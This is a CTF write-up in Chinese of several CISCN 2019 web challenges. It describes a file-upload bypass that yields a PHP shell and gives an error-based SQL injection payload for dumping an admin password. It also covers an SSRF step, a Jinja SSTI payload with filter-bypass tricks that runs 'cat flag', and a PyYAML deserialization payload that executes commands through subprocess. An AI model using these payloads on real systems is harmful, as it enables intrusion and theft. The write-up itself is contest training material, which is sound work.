@Author: Patrilic
@Time: 2019-06-10 15:08:02
拿了个第四..师傅们tql,没想到纯Web队伍也有翻身的一天(滑稽)
931f982b33e8b1040822716bdafa42ee

Ciscn-q07

先注册一个admin’# 的账号然后直接文件上传
直接传php(不用<?php)
改mime为image/jpeg就getshell了..
4d80f49d47825ccd9aca1330a124636c
913690845a8e92d1ab10a77737894477

判定了一个admin的权限

Ciscn-q09

注册用户登陆的时候,发现存在sql注入
登陆进去之后发现注释有提示,存在admin的账号,注册一个用户名为下面的账号,登陆即可注入admin的密码

1
username='&amp;&amp; extractvalue(1,concat(0x7e,(select `3` from (select 1,2,3 union select * from user)a limit 1,1)))#

19cd6150c405f77f4e70098b9a9ff4f7
f94276c29af45e7fc2928bcbe9248541
86a8390a6baa79d4ccaa682ae02d91cb

用admin的账号和密码登陆提示orange的SSRF,可控url就是bug反馈

携带cookie去请求flag.php即可获得flag
9142fc4e44be8a5d61cde6519fdbf26e

Ciscn 8

URL:172.16.9.18
看着有计算功能,并且是PY,直接想SSTI,试了下 2
得到输出结果为2,确定了SSTI
3a65fa54c411da804acc98652f208834

然后就是用payload了,不过测试过程中发现了两个过滤的点 一个是括号,一个是open字符串,不过都可以用双写来绕过 括号只是单独的括号就会被置换为空,如果里面有字符的话就不会置换为空 比如 () 要用 (()) 绕, open 要用 opopenen 绕
于是最终的payload为

1
{{"".__class__.__mro__.__getitem__(1).__subclasses__(())[302].__init__.__globals__['poopenpen']('cat flag').read(())}}

4ef955d4f8a6198ac47c9f39365b480c
65c4176a3f67c25b3beafaad2432027a

Ciscn 10

URL: 172.16.9.20
点击忘记密码
454b911c60722c999e150395e4fbcbab

修改后可直接登录admin
5ce1c580d29d7c882b2e34f59ff2885f

猜测yaml命令执行
执行ls结果
Payload:

1
2
3
4
!!map {
? !!str "goodbye"
: !!python/object/apply:subprocess.check_output [
!!str "ls",],}

1349a5aa45787c9df811b7ae787084f4

准备构造payload 进行cat /flag时发现别人上传了5.yml
直接访问即可:
flag{81595b84-317b-434a-b45f-6aea2c37722c}